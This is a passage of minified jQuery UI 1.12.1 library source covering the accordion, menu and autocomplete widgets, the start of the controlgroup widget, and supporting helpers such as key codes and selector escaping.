this.add(null==t?this.prevObject:this.prevObject.filter(t))}),t.ui.keyCode={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38},t.ui.escapeSelector=function(){var t=/([!"#$%&'()*+,.\/:;<=>?@[\]^`{|}~])/g;return function(e){return e.replace(t,"\\$1")}}(),t.fn.labels=function(){var e,i,s,n,o;return this[0].labels&&this[0].labels.length?this.pushStack(this[0].labels):(n=this.eq(0).parents("label"),s=this.attr("id"),s&&(e=this.eq(0).parents().last(),o=e.add(e.length?e.siblings():this.siblings()),i="label[for='"+t.ui.escapeSelector(s)+"']",n=n.add(o.find(i).addBack(i))),this.pushStack(n))},t.fn.scrollParent=function(e){var i=this.css("position"),s="absolute"===i,n=e?/(auto|scroll|hidden)/:/(auto|scroll)/,o=this.parents().filter(function(){var e=t(this);return s&&"static"===e.css("position")?!1:n.test(e.css("overflow")+e.css("overflow-y")+e.css("overflow-x"))}).eq(0);return"fixed"!==i&&o.length?o:t(this[0].ownerDocument||document)},t.extend(t.expr[":"],{tabbable:function(e){var i=t.attr(e,"tabindex"),s=null!=i;return(!s||i>=0)&&t.ui.focusable(e,s)}}),t.fn.extend({uniqueId:function(){var t=0;return function(){return this.each(function(){this.id||(this.id="ui-id-"+ ++t)})}}(),removeUniqueId:function(){return this.each(function(){/^ui-id-\d+$/.test(this.id)&&t(this).removeAttr("id")})}}),t.widget("ui.accordion",{version:"1.12.1",options:{active:0,animate:{},classes:{"ui-accordion-header":"ui-corner-top","ui-accordion-header-collapsed":"ui-corner-all","ui-accordion-content":"ui-corner-bottom"},collapsible:!1,event:"click",header:"> li > :first-child, > :not(li):even",heightStyle:"auto",icons:{activeHeader:"ui-icon-triangle-1-s",header:"ui-icon-triangle-1-e"},activate:null,beforeActivate:null},hideProps:{borderTopWidth:"hide",borderBottomWidth:"hide",paddingTop:"hide",paddingBottom:"hide",height:"hide"},showProps:{borderTopWidth:"show",borderBottomWidth:"show",paddingTop:"show",paddingBottom:"show",height:"show"},_create:function(){var e=this.options;this.prevShow=this.prevHide=t(),this._addClass("ui-accordion","ui-widget ui-helper-reset"),this.element.attr("role","tablist"),e.collapsible||e.active!==!1&&null!=e.active||(e.active=0),this._processPanels(),0>e.active&&(e.active+=this.headers.length),this._refresh()},_getCreateEventData:function(){return{header:this.active,panel:this.active.length?this.active.next():t()}},_createIcons:function(){var e,i,s=this.options.icons;s&&(e=t("<span>"),this._addClass(e,"ui-accordion-header-icon","ui-icon "+s.header),e.prependTo(this.headers),i=this.active.children(".ui-accordion-header-icon"),this._removeClass(i,s.header)._addClass(i,null,s.activeHeader)._addClass(this.headers,"ui-accordion-icons"))},_destroyIcons:function(){this._removeClass(this.headers,"ui-accordion-icons"),this.headers.children(".ui-accordion-header-icon").remove()},_destroy:function(){var t;this.element.removeAttr("role"),this.headers.removeAttr("role aria-expanded aria-selected aria-controls tabIndex").removeUniqueId(),this._destroyIcons(),t=this.headers.next().css("display","").removeAttr("role aria-hidden aria-labelledby").removeUniqueId(),"content"!==this.options.heightStyle&&t.css("height","")},_setOption:function(t,e){return"active"===t?(this._activate(e),void 0):("event"===t&&(this.options.event&&this._off(this.headers,this.options.event),this._setupEvents(e)),this._super(t,e),"collapsible"!==t||e||this.options.active!==!1||this._activate(0),"icons"===t&&(this._destroyIcons(),e&&this._createIcons()),void 0)},_setOptionDisabled:function(t){this._super(t),this.element.attr("aria-disabled",t),this._toggleClass(null,"ui-state-disabled",!!t),this._toggleClass(this.headers.add(this.headers.next()),null,"ui-state-disabled",!!t)},_keydown:function(e){if(!e.altKey&&!e.ctrlKey){var i=t.ui.keyCode,s=this.headers.length,n=this.headers.index(e.target),o=!1;switch(e.keyCode){case i.RIGHT:case i.DOWN:o=this.headers[(n+1)%s];break;case i.LEFT:case i.UP:o=this.headers[(n-1+s)%s];break;case i.SPACE:case i.ENTER:this._eventHandler(e);break;case i.HOME:o=this.headers[0];break;case i.END:o=this.headers[s-1]}o&&(t(e.target).attr("tabIndex",-1),t(o).attr("tabIndex",0),t(o).trigger("focus"),e.preventDefault())}},_panelKeyDown:function(e){e.keyCode===t.ui.keyCode.UP&&e.ctrlKey&&t(e.currentTarget).prev().trigger("focus")},refresh:function(){var e=this.options;this._processPanels(),e.active===!1&&e.collapsible===!0||!this.headers.length?(e.active=!1,this.active=t()):e.active===!1?this._activate(0):this.active.length&&!t.contains(this.element[0],this.active[0])?this.headers.length===this.headers.find(".ui-state-disabled").length?(e.active=!1,this.active=t()):this._activate(Math.max(0,e.active-1)):e.active=this.headers.index(this.active),this._destroyIcons(),this._refresh()},_processPanels:function(){var t=this.headers,e=this.panels;this.headers=this.element.find(this.options.header),this._addClass(this.headers,"ui-accordion-header ui-accordion-header-collapsed","ui-state-default"),this.panels=this.headers.next().filter(":not(.ui-accordion-content-active)").hide(),this._addClass(this.panels,"ui-accordion-content","ui-helper-reset ui-widget-content"),e&&(this._off(t.not(this.headers)),this._off(e.not(this.panels)))},_refresh:function(){var e,i=this.options,s=i.heightStyle,n=this.element.parent();this.active=this._findActive(i.active),this._addClass(this.active,"ui-accordion-header-active","ui-state-active")._removeClass(this.active,"ui-accordion-header-collapsed"),this._addClass(this.active.next(),"ui-accordion-content-active"),this.active.next().show(),this.headers.attr("role","tab").each(function(){var e=t(this),i=e.uniqueId().attr("id"),s=e.next(),n=s.uniqueId().attr("id");e.attr("aria-controls",n),s.attr("aria-labelledby",i)}).next().attr("role","tabpanel"),this.headers.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}).next().attr({"aria-hidden":"true"}).hide(),this.active.length?this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}).next().attr({"aria-hidden":"false"}):this.headers.eq(0).attr("tabIndex",0),this._createIcons(),this._setupEvents(i.event),"fill"===s?(e=n.height(),this.element.siblings(":visible").each(function(){var i=t(this),s=i.css("position");"absolute"!==s&&"fixed"!==s&&(e-=i.outerHeight(!0))}),this.headers.each(function(){e-=t(this).outerHeight(!0)}),this.headers.next().each(function(){t(this).height(Math.max(0,e-t(this).innerHeight()+t(this).height()))}).css("overflow","auto")):"auto"===s&&(e=0,this.headers.next().each(function(){var i=t(this).is(":visible");i||t(this).show(),e=Math.max(e,t(this).css("height","").height()),i||t(this).hide()}).height(e))},_activate:function(e){var i=this._findActive(e)[0];i!==this.active[0]&&(i=i||this.active[0],this._eventHandler({target:i,currentTarget:i,preventDefault:t.noop}))},_findActive:function(e){return"number"==typeof e?this.headers.eq(e):t()},_setupEvents:function(e){var i={keydown:"_keydown"};e&&t.each(e.split(" "),function(t,e){i[e]="_eventHandler"}),this._off(this.headers.add(this.headers.next())),this._on(this.headers,i),this._on(this.headers.next(),{keydown:"_panelKeyDown"}),this._hoverable(this.headers),this._focusable(this.headers)},_eventHandler:function(e){var i,s,n=this.options,o=this.active,a=t(e.currentTarget),r=a[0]===o[0],h=r&&n.collapsible,l=h?t():a.next(),c=o.next(),u={oldHeader:o,oldPanel:c,newHeader:h?t():a,newPanel:l};e.preventDefault(),r&&!n.collapsible||this._trigger("beforeActivate",e,u)===!1||(n.active=h?!1:this.headers.index(a),this.active=r?t():a,this._toggle(u),this._removeClass(o,"ui-accordion-header-active","ui-state-active"),n.icons&&(i=o.children(".ui-accordion-header-icon"),this._removeClass(i,null,n.icons.activeHeader)._addClass(i,null,n.icons.header)),r||(this._removeClass(a,"ui-accordion-header-collapsed")._addClass(a,"ui-accordion-header-active","ui-state-active"),n.icons&&(s=a.children(".ui-accordion-header-icon"),this._removeClass(s,null,n.icons.header)._addClass(s,null,n.icons.activeHeader)),this._addClass(a.next(),"ui-accordion-content-active")))},_toggle:function(e){var i=e.newPanel,s=this.prevShow.length?this.prevShow:e.oldPanel;this.prevShow.add(this.prevHide).stop(!0,!0),this.prevShow=i,this.prevHide=s,this.options.animate?this._animate(i,s,e):(s.hide(),i.show(),this._toggleComplete(e)),s.attr({"aria-hidden":"true"}),s.prev().attr({"aria-selected":"false","aria-expanded":"false"}),i.length&&s.length?s.prev().attr({tabIndex:-1,"aria-expanded":"false"}):i.length&&this.headers.filter(function(){return 0===parseInt(t(this).attr("tabIndex"),10)}).attr("tabIndex",-1),i.attr("aria-hidden","false").prev().attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0})},_animate:function(t,e,i){var s,n,o,a=this,r=0,h=t.css("box-sizing"),l=t.length&&(!e.length||t.index()<e.index()),c=this.options.animate||{},u=l&&c.down||c,d=function(){a._toggleComplete(i)};return"number"==typeof u&&(o=u),"string"==typeof u&&(n=u),n=n||u.easing||c.easing,o=o||u.duration||c.duration,e.length?t.length?(s=t.show().outerHeight(),e.animate(this.hideProps,{duration:o,easing:n,step:function(t,e){e.now=Math.round(t)}}),t.hide().animate(this.showProps,{duration:o,easing:n,complete:d,step:function(t,i){i.now=Math.round(t),"height"!==i.prop?"content-box"===h&&(r+=i.now):"content"!==a.options.heightStyle&&(i.now=Math.round(s-e.outerHeight()-r),r=0)}}),void 0):e.animate(this.hideProps,o,n,d):t.animate(this.showProps,o,n,d)},_toggleComplete:function(t){var e=t.oldPanel,i=e.prev();this._removeClass(e,"ui-accordion-content-active"),this._removeClass(i,"ui-accordion-header-active")._addClass(i,"ui-accordion-header-collapsed"),e.length&&(e.parent()[0].className=e.parent()[0].className),this._trigger("activate",null,t)}}),t.ui.safeActiveElement=function(t){var e;try{e=t.activeElement}catch(i){e=t.body}return e||(e=t.body),e.nodeName||(e=t.body),e},t.widget("ui.menu",{version:"1.12.1",defaultElement:"<ul>",delay:300,options:{icons:{submenu:"ui-icon-caret-1-e"},items:"> *",menus:"ul",position:{my:"left top",at:"right top"},role:"menu",blur:null,focus:null,select:null},_create:function(){this.activeMenu=this.element,this.mouseHandled=!1,this.element.uniqueId().attr({role:this.options.role,tabIndex:0}),this._addClass("ui-menu","ui-widget ui-widget-content"),this._on({"mousedown .ui-menu-item":function(t){t.preventDefault()},"click .ui-menu-item":function(e){var i=t(e.target),s=t(t.ui.safeActiveElement(this.document[0]));!this.mouseHandled&&i.not(".ui-state-disabled").length&&(this.select(e),e.isPropagationStopped()||(this.mouseHandled=!0),i.has(".ui-menu").length?this.expand(e):!this.element.is(":focus")&&s.closest(".ui-menu").length&&(this.element.trigger("focus",[!0]),this.active&&1===this.active.parents(".ui-menu").length&&clearTimeout(this.timer)))},"mouseenter .ui-menu-item":function(e){if(!this.previousFilter){var i=t(e.target).closest(".ui-menu-item"),s=t(e.currentTarget);i[0]===s[0]&&(this._removeClass(s.siblings().children(".ui-state-active"),null,"ui-state-active"),this.focus(e,s))}},mouseleave:"collapseAll","mouseleave .ui-menu":"collapseAll",focus:function(t,e){var i=this.active||this.element.find(this.options.items).eq(0);e||this.focus(t,i)},blur:function(e){this._delay(function(){var i=!t.contains(this.element[0],t.ui.safeActiveElement(this.document[0]));i&&this.collapseAll(e)})},keydown:"_keydown"}),this.refresh(),this._on(this.document,{click:function(t){this._closeOnDocumentClick(t)&&this.collapseAll(t),this.mouseHandled=!1}})},_destroy:function(){var e=this.element.find(".ui-menu-item").removeAttr("role aria-disabled"),i=e.children(".ui-menu-item-wrapper").removeUniqueId().removeAttr("tabIndex role aria-haspopup");this.element.removeAttr("aria-activedescendant").find(".ui-menu").addBack().removeAttr("role aria-labelledby aria-expanded aria-hidden aria-disabled tabIndex").removeUniqueId().show(),i.children().each(function(){var e=t(this);e.data("ui-menu-submenu-caret")&&e.remove()})},_keydown:function(e){var i,s,n,o,a=!0;switch(e.keyCode){case t.ui.keyCode.PAGE_UP:this.previousPage(e);break;case t.ui.keyCode.PAGE_DOWN:this.nextPage(e);break;case t.ui.keyCode.HOME:this._move("first","first",e);break;case t.ui.keyCode.END:this._move("last","last",e);break;case t.ui.keyCode.UP:this.previous(e);break;case t.ui.keyCode.DOWN:this.next(e);break;case t.ui.keyCode.LEFT:this.collapse(e);break;case t.ui.keyCode.RIGHT:this.active&&!this.active.is(".ui-state-disabled")&&this.expand(e);break;case t.ui.keyCode.ENTER:case t.ui.keyCode.SPACE:this._activate(e);break;case t.ui.keyCode.ESCAPE:this.collapse(e);break;default:a=!1,s=this.previousFilter||"",o=!1,n=e.keyCode>=96&&105>=e.keyCode?""+(e.keyCode-96):String.fromCharCode(e.keyCode),clearTimeout(this.filterTimer),n===s?o=!0:n=s+n,i=this._filterMenuItems(n),i=o&&-1!==i.index(this.active.next())?this.active.nextAll(".ui-menu-item"):i,i.length||(n=String.fromCharCode(e.keyCode),i=this._filterMenuItems(n)),i.length?(this.focus(e,i),this.previousFilter=n,this.filterTimer=this._delay(function(){delete this.previousFilter},1e3)):delete this.previousFilter}a&&e.preventDefault()},_activate:function(t){this.active&&!this.active.is(".ui-state-disabled")&&(this.active.children("[aria-haspopup='true']").length?this.expand(t):this.select(t))},refresh:function(){var e,i,s,n,o,a=this,r=this.options.icons.submenu,h=this.element.find(this.options.menus);this._toggleClass("ui-menu-icons",null,!!this.element.find(".ui-icon").length),s=h.filter(":not(.ui-menu)").hide().attr({role:this.options.role,"aria-hidden":"true","aria-expanded":"false"}).each(function(){var e=t(this),i=e.prev(),s=t("<span>").data("ui-menu-submenu-caret",!0);a._addClass(s,"ui-menu-icon","ui-icon "+r),i.attr("aria-haspopup","true").prepend(s),e.attr("aria-labelledby",i.attr("id"))}),this._addClass(s,"ui-menu","ui-widget ui-widget-content ui-front"),e=h.add(this.element),i=e.find(this.options.items),i.not(".ui-menu-item").each(function(){var e=t(this);a._isDivider(e)&&a._addClass(e,"ui-menu-divider","ui-widget-content")}),n=i.not(".ui-menu-item, .ui-menu-divider"),o=n.children().not(".ui-menu").uniqueId().attr({tabIndex:-1,role:this._itemRole()}),this._addClass(n,"ui-menu-item")._addClass(o,"ui-menu-item-wrapper"),i.filter(".ui-state-disabled").attr("aria-disabled","true"),this.active&&!t.contains(this.element[0],this.active[0])&&this.blur()},_itemRole:function(){return{menu:"menuitem",listbox:"option"}[this.options.role]},_setOption:function(t,e){if("icons"===t){var i=this.element.find(".ui-menu-icon");this._removeClass(i,null,this.options.icons.submenu)._addClass(i,null,e.submenu)}this._super(t,e)},_setOptionDisabled:function(t){this._super(t),this.element.attr("aria-disabled",t+""),this._toggleClass(null,"ui-state-disabled",!!t)},focus:function(t,e){var i,s,n;this.blur(t,t&&"focus"===t.type),this._scrollIntoView(e),this.active=e.first(),s=this.active.children(".ui-menu-item-wrapper"),this._addClass(s,null,"ui-state-active"),this.options.role&&this.element.attr("aria-activedescendant",s.attr("id")),n=this.active.parent().closest(".ui-menu-item").children(".ui-menu-item-wrapper"),this._addClass(n,null,"ui-state-active"),t&&"keydown"===t.type?this._close():this.timer=this._delay(function(){this._close()},this.delay),i=e.children(".ui-menu"),i.length&&t&&/^mouse/.test(t.type)&&this._startOpening(i),this.activeMenu=e.parent(),this._trigger("focus",t,{item:e})},_scrollIntoView:function(e){var i,s,n,o,a,r;this._hasScroll()&&(i=parseFloat(t.css(this.activeMenu[0],"borderTopWidth"))||0,s=parseFloat(t.css(this.activeMenu[0],"paddingTop"))||0,n=e.offset().top-this.activeMenu.offset().top-i-s,o=this.activeMenu.scrollTop(),a=this.activeMenu.height(),r=e.outerHeight(),0>n?this.activeMenu.scrollTop(o+n):n+r>a&&this.activeMenu.scrollTop(o+n-a+r))},blur:function(t,e){e||clearTimeout(this.timer),this.active&&(this._removeClass(this.active.children(".ui-menu-item-wrapper"),null,"ui-state-active"),this._trigger("blur",t,{item:this.active}),this.active=null)},_startOpening:function(t){clearTimeout(this.timer),"true"===t.attr("aria-hidden")&&(this.timer=this._delay(function(){this._close(),this._open(t)},this.delay))},_open:function(e){var i=t.extend({of:this.active},this.options.position);clearTimeout(this.timer),this.element.find(".ui-menu").not(e.parents(".ui-menu")).hide().attr("aria-hidden","true"),e.show().removeAttr("aria-hidden").attr("aria-expanded","true").position(i)},collapseAll:function(e,i){clearTimeout(this.timer),this.timer=this._delay(function(){var s=i?this.element:t(e&&e.target).closest(this.element.find(".ui-menu"));s.length||(s=this.element),this._close(s),this.blur(e),this._removeClass(s.find(".ui-state-active"),null,"ui-state-active"),this.activeMenu=s},this.delay)},_close:function(t){t||(t=this.active?this.active.parent():this.element),t.find(".ui-menu").hide().attr("aria-hidden","true").attr("aria-expanded","false")},_closeOnDocumentClick:function(e){return!t(e.target).closest(".ui-menu").length},_isDivider:function(t){return!/[^\-\u2014\u2013\s]/.test(t.text())},collapse:function(t){var e=this.active&&this.active.parent().closest(".ui-menu-item",this.element);e&&e.length&&(this._close(),this.focus(t,e))},expand:function(t){var e=this.active&&this.active.children(".ui-menu ").find(this.options.items).first();e&&e.length&&(this._open(e.parent()),this._delay(function(){this.focus(t,e)}))},next:function(t){this._move("next","first",t)},previous:function(t){this._move("prev","last",t)},isFirstItem:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},isLastItem:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},_move:function(t,e,i){var s;this.active&&(s="first"===t||"last"===t?this.active["first"===t?"prevAll":"nextAll"](".ui-menu-item").eq(-1):this.active[t+"All"](".ui-menu-item").eq(0)),s&&s.length&&this.active||(s=this.activeMenu.find(this.options.items)[e]()),this.focus(i,s)},nextPage:function(e){var i,s,n;return this.active?(this.isLastItem()||(this._hasScroll()?(s=this.active.offset().top,n=this.element.height(),this.active.nextAll(".ui-menu-item").each(function(){return i=t(this),0>i.offset().top-s-n}),this.focus(e,i)):this.focus(e,this.activeMenu.find(this.options.items)[this.active?"last":"first"]())),void 0):(this.next(e),void 0)},previousPage:function(e){var i,s,n;return this.active?(this.isFirstItem()||(this._hasScroll()?(s=this.active.offset().top,n=this.element.height(),this.active.prevAll(".ui-menu-item").each(function(){return i=t(this),i.offset().top-s+n>0}),this.focus(e,i)):this.focus(e,this.activeMenu.find(this.options.items).first())),void 0):(this.next(e),void 0)},_hasScroll:function(){return this.element.outerHeight()<this.element.prop("scrollHeight")},select:function(e){this.active=this.active||t(e.target).closest(".ui-menu-item");var i={item:this.active};this.active.has(".ui-menu").length||this.collapseAll(e,!0),this._trigger("select",e,i)},_filterMenuItems:function(e){var i=e.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&"),s=RegExp("^"+i,"i");return this.activeMenu.find(this.options.items).filter(".ui-menu-item").filter(function(){return s.test(t.trim(t(this).children(".ui-menu-item-wrapper").text()))})}}),t.widget("ui.autocomplete",{version:"1.12.1",defaultElement:"<input>",options:{appendTo:null,autoFocus:!1,delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null,change:null,close:null,focus:null,open:null,response:null,search:null,select:null},requestIndex:0,pending:0,_create:function(){var e,i,s,n=this.element[0].nodeName.toLowerCase(),o="textarea"===n,a="input"===n;
this.isMultiLine=o||!a&&this._isContentEditable(this.element),this.valueMethod=this.element[o||a?"val":"text"],this.isNewMenu=!0,this._addClass("ui-autocomplete-input"),this.element.attr("autocomplete","off"),this._on(this.element,{keydown:function(n){if(this.element.prop("readOnly"))return e=!0,s=!0,i=!0,void 0;e=!1,s=!1,i=!1;var o=t.ui.keyCode;switch(n.keyCode){case o.PAGE_UP:e=!0,this._move("previousPage",n);break;case o.PAGE_DOWN:e=!0,this._move("nextPage",n);break;case o.UP:e=!0,this._keyEvent("previous",n);break;case o.DOWN:e=!0,this._keyEvent("next",n);break;case o.ENTER:this.menu.active&&(e=!0,n.preventDefault(),this.menu.select(n));break;case o.TAB:this.menu.active&&this.menu.select(n);break;case o.ESCAPE:this.menu.element.is(":visible")&&(this.isMultiLine||this._value(this.term),this.close(n),n.preventDefault());break;default:i=!0,this._searchTimeout(n)}},keypress:function(s){if(e)return e=!1,(!this.isMultiLine||this.menu.element.is(":visible"))&&s.preventDefault(),void 0;if(!i){var n=t.ui.keyCode;switch(s.keyCode){case n.PAGE_UP:this._move("previousPage",s);break;case n.PAGE_DOWN:this._move("nextPage",s);break;case n.UP:this._keyEvent("previous",s);break;case n.DOWN:this._keyEvent("next",s)}}},input:function(t){return s?(s=!1,t.preventDefault(),void 0):(this._searchTimeout(t),void 0)},focus:function(){this.selectedItem=null,this.previous=this._value()},blur:function(t){return this.cancelBlur?(delete this.cancelBlur,void 0):(clearTimeout(this.searching),this.close(t),this._change(t),void 0)}}),this._initSource(),this.menu=t("<ul>").appendTo(this._appendTo()).menu({role:null}).hide().menu("instance"),this._addClass(this.menu.element,"ui-autocomplete","ui-front"),this._on(this.menu.element,{mousedown:function(e){e.preventDefault(),this.cancelBlur=!0,this._delay(function(){delete this.cancelBlur,this.element[0]!==t.ui.safeActiveElement(this.document[0])&&this.element.trigger("focus")})},menufocus:function(e,i){var s,n;return this.isNewMenu&&(this.isNewMenu=!1,e.originalEvent&&/^mouse/.test(e.originalEvent.type))?(this.menu.blur(),this.document.one("mousemove",function(){t(e.target).trigger(e.originalEvent)}),void 0):(n=i.item.data("ui-autocomplete-item"),!1!==this._trigger("focus",e,{item:n})&&e.originalEvent&&/^key/.test(e.originalEvent.type)&&this._value(n.value),s=i.item.attr("aria-label")||n.value,s&&t.trim(s).length&&(this.liveRegion.children().hide(),t("<div>").text(s).appendTo(this.liveRegion)),void 0)},menuselect:function(e,i){var s=i.item.data("ui-autocomplete-item"),n=this.previous;this.element[0]!==t.ui.safeActiveElement(this.document[0])&&(this.element.trigger("focus"),this.previous=n,this._delay(function(){this.previous=n,this.selectedItem=s})),!1!==this._trigger("select",e,{item:s})&&this._value(s.value),this.term=this._value(),this.close(e),this.selectedItem=s}}),this.liveRegion=t("<div>",{role:"status","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body),this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible"),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_destroy:function(){clearTimeout(this.searching),this.element.removeAttr("autocomplete"),this.menu.element.remove(),this.liveRegion.remove()},_setOption:function(t,e){this._super(t,e),"source"===t&&this._initSource(),"appendTo"===t&&this.menu.element.appendTo(this._appendTo()),"disabled"===t&&e&&this.xhr&&this.xhr.abort()},_isEventTargetInWidget:function(e){var i=this.menu.element[0];return e.target===this.element[0]||e.target===i||t.contains(i,e.target)},_closeOnClickOutside:function(t){this._isEventTargetInWidget(t)||this.close()},_appendTo:function(){var e=this.options.appendTo;return e&&(e=e.jquery||e.nodeType?t(e):this.document.find(e).eq(0)),e&&e[0]||(e=this.element.closest(".ui-front, dialog")),e.length||(e=this.document[0].body),e},_initSource:function(){var e,i,s=this;t.isArray(this.options.source)?(e=this.options.source,this.source=function(i,s){s(t.ui.autocomplete.filter(e,i.term))}):"string"==typeof this.options.source?(i=this.options.source,this.source=function(e,n){s.xhr&&s.xhr.abort(),s.xhr=t.ajax({url:i,data:e,dataType:"json",success:function(t){n(t)},error:function(){n([])}})}):this.source=this.options.source},_searchTimeout:function(t){clearTimeout(this.searching),this.searching=this._delay(function(){var e=this.term===this._value(),i=this.menu.element.is(":visible"),s=t.altKey||t.ctrlKey||t.metaKey||t.shiftKey;(!e||e&&!i&&!s)&&(this.selectedItem=null,this.search(null,t))},this.options.delay)},search:function(t,e){return t=null!=t?t:this._value(),this.term=this._value(),t.length<this.options.minLength?this.close(e):this._trigger("search",e)!==!1?this._search(t):void 0},_search:function(t){this.pending++,this._addClass("ui-autocomplete-loading"),this.cancelSearch=!1,this.source({term:t},this._response())},_response:function(){var e=++this.requestIndex;return t.proxy(function(t){e===this.requestIndex&&this.__response(t),this.pending--,this.pending||this._removeClass("ui-autocomplete-loading")},this)},__response:function(t){t&&(t=this._normalize(t)),this._trigger("response",null,{content:t}),!this.options.disabled&&t&&t.length&&!this.cancelSearch?(this._suggest(t),this._trigger("open")):this._close()},close:function(t){this.cancelSearch=!0,this._close(t)},_close:function(t){this._off(this.document,"mousedown"),this.menu.element.is(":visible")&&(this.menu.element.hide(),this.menu.blur(),this.isNewMenu=!0,this._trigger("close",t))},_change:function(t){this.previous!==this._value()&&this._trigger("change",t,{item:this.selectedItem})},_normalize:function(e){return e.length&&e[0].label&&e[0].value?e:t.map(e,function(e){return"string"==typeof e?{label:e,value:e}:t.extend({},e,{label:e.label||e.value,value:e.value||e.label})})},_suggest:function(e){var i=this.menu.element.empty();this._renderMenu(i,e),this.isNewMenu=!0,this.menu.refresh(),i.show(),this._resizeMenu(),i.position(t.extend({of:this.element},this.options.position)),this.options.autoFocus&&this.menu.next(),this._on(this.document,{mousedown:"_closeOnClickOutside"})},_resizeMenu:function(){var t=this.menu.element;t.outerWidth(Math.max(t.width("").outerWidth()+1,this.element.outerWidth()))},_renderMenu:function(e,i){var s=this;t.each(i,function(t,i){s._renderItemData(e,i)})},_renderItemData:function(t,e){return this._renderItem(t,e).data("ui-autocomplete-item",e)},_renderItem:function(e,i){return t("<li>").append(t("<div>").text(i.label)).appendTo(e)},_move:function(t,e){return this.menu.element.is(":visible")?this.menu.isFirstItem()&&/^previous/.test(t)||this.menu.isLastItem()&&/^next/.test(t)?(this.isMultiLine||this._value(this.term),this.menu.blur(),void 0):(this.menu[t](e),void 0):(this.search(null,e),void 0)},widget:function(){return this.menu.element},_value:function(){return this.valueMethod.apply(this.element,arguments)},_keyEvent:function(t,e){(!this.isMultiLine||this.menu.element.is(":visible"))&&(this._move(t,e),e.preventDefault())},_isContentEditable:function(t){if(!t.length)return!1;var e=t.prop("contentEditable");return"inherit"===e?this._isContentEditable(t.parent()):"true"===e}}),t.extend(t.ui.autocomplete,{escapeRegex:function(t){return t.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&")},filter:function(e,i){var s=RegExp(t.ui.autocomplete.escapeRegex(i),"i");return t.grep(e,function(t){return s.test(t.label||t.value||t)})}}),t.widget("ui.autocomplete",t.ui.autocomplete,{options:{messages:{noResults:"No search results.",results:function(t){return t+(t>1?" results are":" result is")+" available, use up and down arrow keys to navigate."}}},__response:function(e){var i;this._superApply(arguments),this.options.disabled||this.cancelSearch||(i=e&&e.length?this.options.messages.results(e.length):this.options.messages.noResults,this.liveRegion.children().hide(),t("<div>").text(i).appendTo(this.liveRegion))}}),t.ui.autocomplete;var g=/ui-corner-([a-z]){2,6}/g;t.widget("ui.controlgroup",{version:"1.12.1",defaultElement:"<div>",options:{direction:"horizontal",disabled:null,onlyVisible:!0,items:{button:"input[type=button], input[type=submit], input[type=reset], button, a",controlgroupLabel:".ui-controlgroup-label",checkboxradio:"input[type='checkbox'], input[type='radio']",selectmenu:"select",spinner:".ui-spinner-input"}},_create:function(){this._enhance()},_enhance:function(){this.element.attr("role","toolbar"),this.refresh()},_destroy:function(){this._callChildMethod("destroy"),this.childWidgets.removeData("ui-controlgroup-data"),this.element.removeAttr("role"),this.options.items.controlgroupLabel&&this.element.find(this.options.items.controlgroupLabel).find(".ui-controlgroup-label-contents").contents().unwrap()},_initWidgets:function(){var e=this,i=[];t.each(this.options.items,function(s,n){var o,a={};return n?"controlgroupLabel"===s?(o=e.element.find(n),o.each(function(){var e=t(this);e.children(".ui-controlgroup-label-contents").length||e.contents().wrapAll("<span class='ui-controlgroup-label-contents'></span>")}),e._addClass(o,null,"ui-widget ui-widget-content ui-state-default"),i=i.concat(o.get()),void 0):(t.fn[s]&&(a=e["_"+s+"Options"]?e["_"+s+"Options"]("middle"):{classes:{}},e.element.find(n).each(function(){var n=t(this),o=n[s]("instance"),r=t.widget.extend({},a);if("button"!==s||!n.parent(".ui-spinner").length){o||(o=n[s]()[s]("instance")),o&&(r.classes=e._resolveClassesValues(r.classes,o)),n[s](r);var h=n[s]("widget");t.data(h[0],"ui-controlgroup-data",o?o:n[s]("instance")),i.push(h[0])}})),void 0):void 0}),this.childWidgets=t(t.unique(i)),this._addClass(this.childWidgets,"ui-controlgroup-item")},_callChildMethod:function(e){this.childWidgets.each(function(){var i=t(this),s=i.data("ui-controlgroup-data");s&&s[e]&&s[e]()})},_updateCornerClass:function(t,e){var i="ui-corner-top ui-corner-bottom ui-corner-left ui-corner-right ui-corner-all",s=this._buildSimpleOptions(e,"label").classes.label;this._removeClass(t,null,i),this._addClass(t,null,s)},_buildSimpleOptions:function(t,e){var i="vertical"===this.options.direction,s={classes:{}};return s.classes[e]={middle:"",first:"ui-corner-"+(i?"top":"left"),last:"ui-corner-"+(i?"bottom":"right"),only:"ui-corner-all"}[t],s},_spinnerOptions:function(t){var e=this._buildSimpleOptions(t,"ui-spinner");return e.classes["ui-spinner-up"]="",e.classes["ui-spinner-down"]="",e},_buttonOptions:function(t){return this._buildSimpleOptions(t,"ui-button")},_checkboxradioOptions:function(t){return this._buildSimpleOptions(t,"ui-checkboxradio-label")},_selectmenuOptions:function(t){var e="vertical"===this.options.direction;return{width:e?"auto":!1,classes:{middle:{"ui-selectmenu-button-open":"","ui-selectmenu-button-closed":""},first:{"ui-selectmenu-button-open":"ui-corner-"+(e?"top":"tl"),"ui-selectmenu-button-closed":"ui-corner-"+(e?"top":"left")},last:{"ui-selectmenu-button-open":e?"":"ui-corner-tr","ui-selectmenu-button-closed":"ui-corner-"+(e?"bottom":"right")},only:{"ui-selectmenu-button-open":"ui-corner-top","ui-selectmenu-button-closed":"ui-corner-all"}}[t]}},_resolveClassesValues:function(e,i){var s={};return t.each(e,function(n){var o=i.options.classes[n]||"";o=t.trim(o.replace(g,"")),s[n]=(o+" "+e[n]).replace(/\s+/g," ")}),s},_setOption:function(t,e){return"direction"===t&&this._removeClass("ui-controlgroup-"+this.options.direction),this._super(t,e),"disabled"===t?(this._callChildMethod(e?"disable":"enable"),void 0):(this.refresh(),void 0)},refresh:function(){var e,i=this;this._addClass("ui-controlgroup 